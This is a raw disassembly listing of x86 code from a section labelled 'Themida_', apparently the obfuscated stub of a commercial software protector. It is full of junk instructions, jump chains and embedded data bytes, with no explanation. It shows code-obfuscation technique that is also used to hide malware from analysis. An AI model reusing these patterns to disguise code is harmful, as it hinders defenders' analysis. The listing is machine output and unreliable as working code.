		mov	ebx, 0F784DF5h
		mov	edx, 1EE42623h
		jmp	loc_565ED4
; ---------------------------------------------------------------------------


loc_56F283:				; CODE XREF: Themida_:0057356Aj
		pop	esi
		sub	edx, edi
		pop	edi
		jmp	loc_57279F
; ---------------------------------------------------------------------------
		dd 3EDBBD55h, 4DE93167h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F297:				; CODE XREF: Themida_:00566335j
		pop	esp
		push	dword ptr [edi+eax*4]
		push	0CFCh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		push	2D20h
		mov	[esp], eax
		mov	eax, 4B1C7B86h
		jmp	loc_56E0C0
; ---------------------------------------------------------------------------
		db 53h
		dd 7C48F8BBh, 5BDD214Fh, 0FFC53DE9h, 815E54FFh,	4C6h, 4B36E900h
		dd 48F0000h, 24248B24h,	24048B66h, 0FFC9EFE9h, 4DEA87FFh
		dd 0D531EA31h, 0BD55EA31h, 20E219A3h, 3E5C14Dh,	2BA4C581h
		dd 0F5813821h, 43F3D0BAh, 0FF78DEE9h, 81CB01FFh, 0AC652DC3h
		dd 97685977h, 8900003Ch, 4BF243Ch, 50000000h, 0E40852B8h
		dd 2E0C141h, 6C2ACB2Dh,	0BE4356Bh, 6EE9273Dh, 53FFFF52h
		dd 0F93A19BBh, 20AE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56F342:				; CODE XREF: Themida_:005710E3j
		sub	ebp, 160A0CE9h
		jmp	loc_566200
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 67h
		dd 8BFFFF86h, 0C4832414h, 24048F04h, 0FFE525E9h, 24148BFFh
		dd 5704C483h, 0BFh, 87CF2900h, 0B8505FF9h, 78C34188h, 1112E9h
		db 0
; ---------------------------------------------------------------------------


loc_56F37D:				; CODE XREF: Themida_:00567378j
		add	esi, 4
		push	ecx
		mov	ecx, esp
		push	edx
		push	edi
		mov	edi, 0E542D67h
		shl	edi, 5
		add	edi, 357A5324h
		mov	edx, edi
		pop	edi
		add	ecx, edx
		pop	edx
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_563E99
; ---------------------------------------------------------------------------


loc_56F3A7:				; CODE XREF: Themida_:00565D00j
		sub	edi, 53305A8h
		pop	ecx
		neg	edi
		push	2A6Dh
		jmp	loc_56B27C
; ---------------------------------------------------------------------------
		dw 0D2Dh
		dd 12CA455h, 550D05C8h,	59592CA4h, 31240433h, 4332404h
		dd 65C0E924h, 3489FFFFh, 2474FF24h, 2434FF04h
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 2A334B71h
		add	eax, 0D5CCB493h
		jmp	loc_572F3F
; ---------------------------------------------------------------------------
		dw 489h
		dd 2474FF24h, 24048B04h, 0FF679AE9h, 0C8B66FFh,	40186824h
		dd 3C890000h, 50E78924h, 4AAE68h, 24348900h, 0FF1645E9h
		dd 2434FFFFh, 0FF9A78E9h, 3078B2FFh, 2434FFFAh,	526EE95Bh
		dd 3C33FFFFh, 0F665C24h, 9C2404ABh, 0FF12CCE9h,	0C9ED80FFh
		dd 8043B353h, 0DD20A1EBh, 83241C8Bh, 0C58004C4h, 0DC6866AEh
		dd 1489667Dh, 2AB15124h, 66A0F180h, 0E911B450h,	0FFFF5353h
		dd 0C8685854h, 89000015h, 0E789243Ch, 4C781h, 0EF810000h
		dd 4, 0E9243C87h, 0FFFFE4D3h
; ---------------------------------------------------------------------------


loc_56F494:				; CODE XREF: Themida_:0056E1F0j
		mov	ah, 11h
		add	cl, ah
		pop	ax
		jmp	loc_565949
; ---------------------------------------------------------------------------
aQBcYs		db 'Q¹<Áæ)ÈYé*%',0
		dd 0B2525000h, 0D0E95110h, 81FFFFF0h, 590350EFh, 81D7296Bh
		dd 590350C7h, 0B9BB536Bh, 1520E6Eh, 148B5BDFh, 8F54E924h
		dd 0E95EFFFFh, 0FFFFE4B4h, 4B8h, 58C30100h, 58FCBD55h
		dd 0ACE97E4Fh, 5D000054h, 8104C483h, 4C5h, 8BE5600h, 813D075Dh
		dd 0DA372CE6h, 0B947E971h, 48BFFFFh, 4C48324h, 0AE9D2F7h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F517:				; CODE XREF: Themida_:00571A38j
		pop	ebx
		jmp	loc_571A15
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 815E5456h, 4C6h, 4C68300h, 5C243487h, 245C0166h, 40DBE902h
		dd 4050000h, 55000000h,	4BDh, 0E9E80100h, 3C22h, 74B7F381h
		dd 0F3814CC7h, 41A4531Eh, 2587E9h, 240C8900h, 0F49E9h
		db 0
; ---------------------------------------------------------------------------


loc_56F565:				; CODE XREF: Themida_:00562E60j
		add	edi, 66694C33h
		mov	edx, [esp]
		add	esp, 4
		neg	edi
		jmp	loc_5645F2
; ---------------------------------------------------------------------------
		db 0FFh
a4Hgx		db '4$[hƒX',0
		align 4
		dd 89243489h, 4C681E6h,	81000000h, 4C6h, 4C5E900h, 7B680000h
		dd 89000052h, 68572424h, 4, 0FF9DD8E9h,	0C8B66FFh, 8353E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F5B6:				; CODE XREF: Themida_:0056AF16j
		add	ebp, ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 776102FBh
		and	ebx, 0DD54BEh
		push	eax
		jmp	loc_571B0C
; ---------------------------------------------------------------------------


loc_56F5CF:				; CODE XREF: Themida_:005696B4j
		shr	esi, 8
		sub	esi, 8943DDC1h
		add	edi, esi
		pop	esi
		add	edi, 2E302AB6h
		push	ebx
		mov	ebx, 6FE22D0Bh
		jmp	loc_57534E
; ---------------------------------------------------------------------------
		dd 5105ECC0h, 0EC089BB5h, 66F48059h, 8034B652h,	0EE8008EEh
		dd 5AF40067h, 20DFEC80h, 0B15158E2h, 8BCA2887h,	0C483240Ch
		dd 0A366E904h, 0EB81FFFFh, 69273BD8h, 0FF49C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F625:				; CODE XREF: Themida_:005640FEj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_561C5E
; ---------------------------------------------------------------------------
		dd 5591D0F7h, 0FF4456E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F639:				; CODE XREF: Themida_:0056A777j
		pop	ecx
		mov	esi, ebp
		pop	ebp
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	edx, ebx
		push	dword ptr [esp]
		jmp	loc_561BB1
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	0D8E904C6h, 1FFFFC6h, 5D08246Ch
		dd 4244401h, 4246C81h, 6D1D068Eh, 8124048Bh, 4C4h, 33D36800h
		dd 2C890000h, 0D965E924h, 8958FFFFh, 2434FFD5h,	1A64E9h
		dd 0BE565F00h, 31A54751h, 7706CE81h, 0C6810A14h, 0F409C006h
		dd 0FFC516E9h, 24248BFFh, 2679BA52h, 0D2F73A39h, 4AF3E9h
		dd 242C8B00h, 8704C483h, 248B240Ch, 68E9F724h, 64Eh, 69DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_56F6D1:				; CODE XREF: Themida_:0056D2D2j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		mov	dh, 0B5h
		push	eax
		mov	ah, 90h
		or	ah, 9Dh
		jmp	loc_56EA5F
; ---------------------------------------------------------------------------
		dw 405h
		dd 55000000h, 4BDh, 5DE82900h, 0E9240487h, 66BEh, 35EDEF81h
		dd 15D297Fh, 2434FFFEh,	4C4815Fh, 68000000h, 50B6h, 55240C89h
		dd 27D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_56F71D:				; CODE XREF: Themida_:0056C36Ej
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	4CD2h
		mov	[esp], edx
		push	esi
		mov	esi, 245C15F2h
		jmp	loc_571D43
; ---------------------------------------------------------------------------
		db 89h
		dd 8B542414h, 8FE92414h, 0BBFFFFF5h, 3A4361F3h,	5370C681h
		dd 0CCE93683h, 0C1FFFF9Fh, 0BD5502E2h, 0FA31554Ch, 36E9EA31h
		dd 33000033h, 7BE92434h, 5FFFFBAh, 0A61FCE89h, 617BEE81h
		dd 0C62977A1h, 3295E9h,	2C68100h, 294B3D2Bh, 0DEF75BDEh
		dd 4327E94Eh, 0EB81FFFFh, 251E2015h, 0BF57EB29h, 251E2015h
		dd 8B5FFB01h, 0B1E9242Ch, 81FFFFB4h, 783C16C5h,	0E9DDF776h
		dd 0FFFFD662h, 4267BF57h, 87B87A56h, 294B3321h,	0C6895FF8h
		dd 5AD62958h, 4986E981h, 0F12938B1h, 4986C181h,	55E38B1h
		dd 7E1F63AAh, 0E678A505h, 2DC80129h, 29E678A5h,	1F63AA2Dh
		dd 9DE8E97Eh, 0EB80FFFFh, 5DC3805Ah, 5266CB28h,	0F3285DB6h
		dd 0EFE95A66h, 68FFFFABh, 2D18h, 0BF243C89h, 21075D55h
		dd 312AC781h, 0E7D13B97h, 0A34AEF81h, 0FA2942CBh, 83243C8Bh
		dd 895604C4h, 4530E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56F832:				; CODE XREF: Themida_:0056D3EFj
		pop	dword ptr [esp]
		pop	esp
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	39B0h
		mov	[esp], edx
		jmp	loc_56FF94
; ---------------------------------------------------------------------------


loc_56F859:				; CODE XREF: Themida_:0056E646j
		inc	ebx
		jmp	loc_56A3F0
; ---------------------------------------------------------------------------


loc_56F85F:				; CODE XREF: Themida_:0056F9D3j
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_573940
; ---------------------------------------------------------------------------
		dd 0FF5AD701h, 815B2434h, 4ECh,	24048900h, 5355E089h, 4934DDBBh
		dd 5BDD8925h, 1B951h, 94E90000h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F89F:				; CODE XREF: Themida_:00562BCEj
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	7001h
		jmp	loc_575A27
; ---------------------------------------------------------------------------
		db 5Ah,	95h, 81h
		dd 4ECh, 243C8900h, 0FFF627E9h,	42E955FFh
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F8CF:				; CODE XREF: Themida_:0056387Dj
		push	5208h
		mov	[esp], ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_561E52
; ---------------------------------------------------------------------------
		dw 0BF0Fh
		dd 0E68956C8h, 2210B951h, 0E1C11E08h, 0E9525005h, 0FFFFA0C0h
; ---------------------------------------------------------------------------


loc_56F904:				; CODE XREF: Themida_:0056EEEBj
		mov	edx, 4
		sub	edi, 625D2024h
		add	edi, 0C85748Fh
		jmp	loc_565046
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 95127E8h, 0D6BBC181h, 92E95085h, 0FFFFFF26h,	8B042474h
		dd 0C483242Ch, 0E5B6E904h, 8755FFFFh, 0D6F72434h, 0FF6DB0E9h
		dd 24248BFFh, 3AC2814Ah, 89FD33DEh, 2434FFD1h, 5224148Bh
		dd 0C281E289h, 4, 0E904C283h, 0FFFFF4ECh, 8B242C33h, 0F1F72424h
		dd 291668h, 0B330E900h,	0FA01FFFFh, 0B850h, 0D0010000h
		dd 8B583031h, 0A0E92414h, 59FFFF1Ch, 4C481h, 67680000h
		dd 89000052h, 4E68241Ch, 8B1B7566h, 5453241Ch, 8B2434FFh
		dd 8952241Ch, 1C1A68E2h, 0C8E90000h, 81FFFF22h,	4C4h, 5E545600h
		dd 4C681h, 0E9530000h, 0FFFF1BDBh
; ---------------------------------------------------------------------------


loc_56F9D0:				; CODE XREF: Themida_:00564996j
		mov	ebp, [esp]
		jmp	loc_56F85F
; ---------------------------------------------------------------------------
		dd 5435B5BDh, 3E5C160h,	1A15F581h, 0A5E9004Bh, 0E9FFFF43h
		dd 0FFFF0D25h, 81E18951h, 4ECh,	242C8900h, 0AD78D2BDh
		dd 0EBED8122h, 0E944EF4Ah, 0FFFFDC88h, 8104C483h, 0ED3304EFh
		dd 0E9CF0116h, 65C6h, 650EBD55h, 0ED816E26h, 776E51BCh
		dd 8DAC581h, 0C5811305h, 0AD3466ADh, 0E95DE931h, 0FFFF607Ch
		dd 7A18EE81h, 148B7FF1h, 94EBE924h, 0EE81FFFFh,	32477BA3h
		dd 71EE814Eh, 89AB0ED4h, 1FE95EF2h, 87FFFF43h, 815C2434h
		dd 0EA5ACCEBh, 36EB812Bh, 119486Ch, 36C381C3h, 5719486Ch
		dd 0FF1250E9h, 0E6D146FFh, 368CE9h, 2CB95100h, 810E885Dh
		dd 9F5C11E1h, 0E9C1494Eh, 0F7F98705h, 81F987DFh, 7C29C9F1h
		dd 0E9C80116h, 0FFFF4598h, 9C243CD3h, 0FF0C64E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FAB1:				; CODE XREF: Themida_:00573D70j
		push	ebp
		push	edi
		mov	edi, 40B5532Ch
		sub	esp, 4
		mov	[esp], edx
		mov	edx, edi
		mov	ebp, edx
		pop	edx
		jmp	loc_5683BE
; ---------------------------------------------------------------------------
		db 89h
		dd 24148BD6h, 0FF98E4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FAD5:				; CODE XREF: Themida_:00575041j
		add	ebx, 285B3D11h
		jmp	loc_570386
; ---------------------------------------------------------------------------
		dd 36F26866h, 24048966h, 0FF0C28E9h, 0AFBD55FFh, 0E9359B75h
		dd 44Dh
; ---------------------------------------------------------------------------


loc_56FAF8:				; CODE XREF: Themida_:00575184j
		add	edx, ebx
		push	ecx
		mov	ecx, 298E072Ch
		sub	edx, ecx
		pop	ecx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_56EADC
; ---------------------------------------------------------------------------
		dd 0DCE95756h, 81FFFF3Ch, 2C7h,	6253E900h, 0EB810000h
		dd 28914F28h, 0C381C301h, 28914F28h, 33C2E9h, 8012B600h
		dd 0F0284EF6h, 60C5E9h,	9DBA5200h, 51133644h, 0C62200B9h
		dd 59CA210Fh, 3160E9h, 0D9B75300h, 2824EF80h, 1704E9F8h
		dd 0F221FFFFh, 8124348Bh, 4C4h,	0F7B95100h, 81000A28h
		dd 7A0692C2h, 81CA2965h, 7A0692EAh, 81525965h, 2029242Ch
		dd 0C8B1D2Dh, 4C48124h,	81000000h, 2D2029C1h, 6213E91Dh
		dd 0B9510000h, 1CF33ACh, 0FF6CE1E9h, 2BBFFh, 0E9560000h
		dd 0FFFF972Bh, 8104C483h, 4C3h,	4C38300h, 31241C33h, 1C33241Ch
		dd 24248B24h, 4EC81h, 1C890000h, 242C8724h, 2C87D5F7h
		dd 35685B24h, 8900002Bh, 50B9240Ch, 811B7566h, 8D32F3C3h
		dd 56CB0113h, 8D32F3BEh, 5EF32913h, 34815359h, 1448D224h
		dd 20478F46h, 0D2207781h, 5B461448h, 93BB5350h,	811D1A37h
		dd 7A7ECEC3h, 6CE38150h, 811FD56Ah, 1EBh, 6E3C100h, 71CE68h
		dd 24148900h, 0FFD2DDE9h, 240C8BFFh, 6604C483h,	0E9082A68h
		dd 64DBh, 0BE392525h, 0F0A9E953h, 158FFFFh, 0D9685FF8h
		dd 89000041h, 89E92414h, 66FFFF25h, 0F0E932FFh,	1FFFFE2h
		dd 1C3359CBh, 241C3124h, 5C241C33h, 50240C8Bh, 405E089h
		dd 5000000h, 4,	5C240487h, 0E924148Bh, 0FFFFC18Fh, 0C4253BBEh
		dd 0EC834E7Ch, 241C8904h, 724195BBh, 5BDE316Ah,	0E444E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FCAE:				; CODE XREF: Themida_:00574399j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		jmp	loc_5692D3
; ---------------------------------------------------------------------------


loc_56FCCB:				; CODE XREF: Themida_:005745BCj
		mov	esp, [esp]
		shr	eax, 0Ch
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	536Bh
		mov	[esp], edi
		mov	eax, [esp]
		push	edi
		jmp	loc_56B6CC
; ---------------------------------------------------------------------------
		dw 0C15Eh
		dd 0B7E908EFh, 2D000005h, 53A66DA7h, 0A705F001h, 0FF53A66Dh
		dd 815E2434h, 4C4h, 80CCE900h, 0E95AFFFFh, 0FFFFCF04h
; ---------------------------------------------------------------------------


loc_56FD14:				; CODE XREF: Themida_:00570C6Ej
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_56C6BE
; ---------------------------------------------------------------------------
		db 81h
		dd 34001DEAh, 4C10E920h, 4B5BFFFFh, 684FEB81h, 0EBC17C36h
		dd 0B6EB8107h, 53011FC1h, 5CC9E953h, 0B151FFFFh, 5DC180D5h
		dd 8079F180h, 0D9F644E1h, 8004E1C0h, 0CC882AE9h, 7E4C059h
		dd 0E9E0EC80h, 0FFFF5838h, 8159CB01h, 2C3h, 241C8700h
		dd 6624248Bh, 2404B30Fh, 997E99Ch, 2904FFFFh, 0FF2175E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FD85:				; CODE XREF: Themida_:0056DFD1j
		inc	ecx
		or	ecx, 1E7B13EBh
		or	ecx, 4B2F08EAh
		sub	ecx, 8E79F74Bh
		xor	eax, ecx
		pop	ecx
		add	edi, eax
		pop	eax
		jmp	loc_575285
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BE8h, 0E904C483h, 0FFFFE4D5h, 11A2E95Ch, 0AD66FFFFh
		dd 0E9D83166h, 0FFFF290Fh, 8704ED83h, 895C242Ch, 84BA2414h
		dd 293E2802h, 0EA015AD5h, 8B2434FFh, 0C481242Ch, 4, 4C481h
		dd 0C2830000h, 24148704h, 240C335Ch, 33240C31h,	248B240Ch
		dd 4EBD6824h, 1C890000h, 3FE4E924h, 0E8290000h,	319E055Dh
		dd 4B050DF4h, 683F3A63h, 36B4h,	50243489h, 9C508668h, 90C6E92Fh
		dd 0EB81FFFFh, 1767620Fh, 0C381EBD1h, 2A43A5BCh, 0FF7F38E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FE39:				; CODE XREF: Themida_:005645B8j
		shr	bh, 7
		shr	bh, 7
		jmp	loc_56EA71
; ---------------------------------------------------------------------------
		dd 34FFB504h, 0B4E95A24h, 0BDFFFF5Dh, 63C8568Dh, 0E6E6F581h
		dd 0EE31637Ch, 0FF43C3E9h, 63E955FFh
		db 9, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FE67:				; CODE XREF: Themida_:00563683j
		shl	edx, 2
		jmp	loc_56C109
; ---------------------------------------------------------------------------
		db 81h
		dd 837C93F3h, 633BE93Dh, 525DFFFFh, 4BAh, 5AD50100h, 8704C583h
		dd 248B242Ch, 0E9C124h,	840FC00Bh, 0EABh, 616968h, 6F7E900h
		dd 34FF0000h, 0C4815924h, 4, 11468h, 242C8900h,	0CC53E952h
		dd 0C481FFFFh, 4, 81242C8Bh, 4C4h, 3352E900h, 565DFFFFh
		dd 0F726DBBEh, 0D3E6816Ch, 8128FB29h, 3C59FEC6h, 0ABEE817Bh
		dd 81416264h, 636DECEEh, 8BF001B8h, 23E92434h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FEF7:				; CODE XREF: Themida_:0056ACD3j
		push	edx
		jmp	loc_575254
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 94h
		dd 81307F0Eh, 0AE6AFBF6h, 5EF28977h, 0FF1294E9h, 0ED8058FFh
		dd 31C580E7h, 34FFEA30h, 0E2685924h, 8900004Dh,	0C3E9240Ch
		dd 81FFFF27h, 971BBAC1h, 0C1815B0Ch, 3E2409Ch, 0E981C101h
		dd 3E2409Ch, 0FFE46AE9h, 0E9EF31FFh, 0FFFF773Eh, 4C481h
		dd 0C6810000h, 4, 9ABE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56FF5E:				; CODE XREF: Themida_:005648A9j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 4BAE961h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56FF6A:				; CODE XREF: Themida_:0056650Fj
		mov	[esp], ebx
		mov	ebx, 24h
		push	edx
		mov	edx, 74B2FB2h
		add	edx, 4AA811A8h
		dec	edx
		add	edx, 31C13FECh
		jmp	loc_57192A
; ---------------------------------------------------------------------------
		dw 5152h
		dd 0E95377B5h, 0FFFF42ACh
; ---------------------------------------------------------------------------


loc_56FF94:				; CODE XREF: Themida_:0056F854j
		push	584Dh
		mov	[esp], esi
		mov	esi, 3FFC1B43h
		push	edx
		mov	edx, 78A56740h
		not	edx
		or	edx, 78C0128Ch
		jmp	loc_572005
; ---------------------------------------------------------------------------
		dd 77768h, 24048900h, 1C1751B8h, 0E8B30539h, 0C201C6E3h
		dd 0BE565058h, 2, 815EF089h, 0DF4FE6C2h, 0E9C2010Ah, 0FFFF7748h
		dd 24048B66h, 0E0895057h, 4EC81h, 1C890000h, 4BB24h, 0BDE90000h
		dd 81FFFFCAh, 0FA789FC1h, 81C10102h, 0FA789FE9h, 10C18102h
		dd 81403322h, 33575CC1h, 0C1815841h, 74FA3876h,	8324048Bh
		dd 0E98104C4h, 4, 0E9240C87h, 2A5Eh, 0DBE9C301h, 81FFFF88h
		dd 4C4h, 4BB5300h, 1000000h, 241C8BD9h,	8704C483h, 248B240Ch
		dd 0FC00B24h, 0FF3D0D84h, 1CB850FFh, 0E9000000h, 0FFFF2E01h
		dd 0B8240489h, 2, 0FF4434E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570071:				; CODE XREF: Themida_:005636F6j
		xor	dl, 9Eh
		xor	ch, dl
		pop	edx
		add	ch, 0DDh
		add	bl, ch
		pop	ecx
		jmp	loc_562EB3
; ---------------------------------------------------------------------------


loc_570082:				; CODE XREF: Themida_:00564F96j
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_572D8A
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 1000000h, 24048BC1h,	496EE9h, 24048F00h, 6424248Bh
		dd 62E90288h, 5FFFFF06h, 4EC81h, 0C890000h, 53A3E924h
		dd 0E9510000h, 0FFFF5D72h, 2474FF51h, 48F5904h,	89505C24h
		dd 890EE9E0h, 0D9F7FFFFh, 0C223E981h, 0CF016AF9h, 242C8B59h
		dd 0FF5244E9h, 0E97BB0FFh, 0FFFF182Bh, 5C241487h, 56240C89h
		dd 592DB2BEh, 31ABE900h, 5401FFFFh, 15A0824h, 52042444h
		dd 0FF7485E9h, 0D2E950FFh, 0FFFFFF40h, 7EE92434h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		sub	ecx, 56DA6A6Eh
		add	ecx, edi
		add	ecx, 56DA6A6Eh
		mov	[ecx], eax
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	6C07h
		jmp	loc_564448
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C78100h, 81000000h, 4C7h, 7E5B6800h, 3C890000h
		dd 0AD09E924h, 0E589FFFFh, 4C581h, 35E90000h, 5AFFFFFCh
		dd 7EBBE956h, 0C781FFFFh, 7C3718F2h, 72CCEF81h,	148B1A80h
		dd 0E866824h, 1C890000h, 0E95B5424h, 0FFFFC578h, 54CDC181h
		dd 0F18124B3h, 9C9B6936h, 652DEB81h, 42E977ACh
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5701C7:				; CODE XREF: Themida_:0056AECBj
		mov	[esp], eax
		jmp	loc_560715
; ---------------------------------------------------------------------------
		db 68h
		dd 1972h, 68240489h, 688Bh, 0FFB8ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5701E1:				; CODE XREF: Themida_:00572D2Dj
		mov	ebx, 4
		jmp	loc_5634CF
; ---------------------------------------------------------------------------
		db 4Ah
		dd 47B9EA81h, 0D2F73CBEh, 2F2C281h, 0EA8114D2h,	2CF20B67h
		dd 0E95AD389h, 0FFFF0AF3h, 6624248Bh, 5624148Bh, 2434FF54h
		dd 0D8F4E95Eh, 34FFFFFFh, 2434FF24h, 2AAC6858h,	14890000h
		dd 815A5424h, 4C2h, 4B85000h, 1000000h,	143358C2h, 24143124h
		dd 8B241433h, 7EE92424h, 89000054h, 0A068243Ch,	8900006Ch
		dd 0BB532424h, 4, 4244481h, 110E2BF1h, 4245C01h, 0FF6E40E9h
		dd 4BD55FFh, 81000000h,	88042444h, 0E929CF42h, 3936h, 5E2434FFh
		dd 0FFC7A9E9h, 52555FFFh, 729FBE56h, 0EE834441h, 6609E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57029A:				; CODE XREF: Themida_:005715A0j
		push	1C66h
		mov	[esp], ebx
		push	edi
		mov	edi, esp
		jmp	loc_56EEE3
; ---------------------------------------------------------------------------
		dw 0AE68h
		dd 8900002Bh, 0E3B82404h, 29DF0B59h, 24048BC7h,	2904C483h
		dd 243C8BF8h, 4C481h, 0BA520000h, 0D2571B9h, 148BD001h
		dd 4C48124h, 81000000h,	4ECh, 718E900h,	3433FFFFh, 4895C24h
		dd 423E924h, 0DCBEFFFFh, 297F8D08h, 84E7E9F7h, 0DDF7FFFFh
		dd 8104EDC1h, 5E356DC5h, 0E9895116h, 241C8B51h,	0E904C483h
		dd 0FFFFC347h, 55E28952h, 7335BDh, 0E4F58140h, 815BC559h
		dd 0A806B0C5h, 7DED817Ch, 1986D31h, 0C2815DEAh,	4, 5C241487h
		dd 0E9C8B60Fh, 0FFFF8FA7h
; ---------------------------------------------------------------------------


loc_570348:				; CODE XREF: Themida_:00563B9Fj
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		jmp	loc_573E63
; ---------------------------------------------------------------------------
		dd 24048759h, 5424248Bh, 8124048Fh, 42404h, 815F0000h
		dd 4ECh, 0BBD1E900h, 0E289FFFFh, 5E3968h, 242C8900h, 3A03E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_570386:				; CODE XREF: Themida_:0056FADBj
		add	ebx, eax
		sub	ebx, 285B3D11h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		jmp	loc_563BC4
; ---------------------------------------------------------------------------


loc_57039B:				; CODE XREF: Themida_:0056A6FFj
		push	dword ptr [esp+4]
		jmp	loc_565F2B
; ---------------------------------------------------------------------------


loc_5703A4:				; CODE XREF: Themida_:00566436j
		push	ebp
		jmp	loc_5624C3
; ---------------------------------------------------------------------------


loc_5703AA:				; CODE XREF: Themida_:00564BD0j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	edx, ebp
		pop	ebp
		add	edx, 33E10AFBh
		jmp	loc_567985
; ---------------------------------------------------------------------------
		dd 4244481h, 2A452DDEh,	4246C01h, 4246C81h, 2A452DDEh
		dd 0FFDB43E9h, 5CBD55FFh, 81775673h, 0BD2C93C5h, 0A4CD814Fh
		dd 8147E865h, 5A6264E5h, 0BDF58120h, 2141F367h,	242C8BEFh
		dd 4C481h, 0E7D10000h, 0FF636AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570411:				; CODE XREF: Themida_:00564BAAj
		add	esp, 4
		or	eax, eax
		jz	loc_56959F
		push	dword ptr [edi+28h]
		jmp	loc_56AB5F
; ---------------------------------------------------------------------------
		dd 2434FFC3h, 592434FFh, 8904EC83h, 8B54243Ch, 0C481243Ch
		dd 4, 4C781h, 0C3E90000h, 29000047h, 24348BF7h,	4C481h
		dd 0C1810000h, 256333Eh, 38CDE981h, 0F9295B07h,	38CDC181h
		dd 0E9815B07h, 256333Eh, 8BCD015Fh, 0C483240Ch,	4C58304h
		dd 31242C33h, 11E9242Ch, 83FFFF4Dh, 348704EEh, 9E95C24h
		dd 31FFFFE6h, 24048BC1h, 4C481h, 0E9500000h, 0FFFFE22Bh
		dd 8158C788h, 4ECh, 19B9E900h, 0CCB90000h, 2951220Eh, 0BD5559CFh
		dd 6E596C9Fh, 15DEF29h,	12C5E9CFh, 0CF310000h, 0ADD5E959h
		dd 4C01FFFFh, 0FF590424h, 83582434h, 40504C4h, 56000000h
		dd 26851h, 43E90000h
		db 1Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5704EB:				; CODE XREF: Themida_:00566F90j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56A8AE
; ---------------------------------------------------------------------------
		dw 489h
		dd 4EC8124h, 89000000h,	0BF572424h, 4, 4247C01h, 2500E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570512:				; CODE XREF: Themida_:00572EEAj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		push	0B83h
		mov	[esp], ebx
		jmp	loc_570A51
; ---------------------------------------------------------------------------
		dd 8924248Bh, 0E7E92414h, 87000043h, 0EEBE9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_570546:				; CODE XREF: Themida_:0056415Aj
		mov	esp, [esp]
		push	690Fh
		mov	[esp], eax
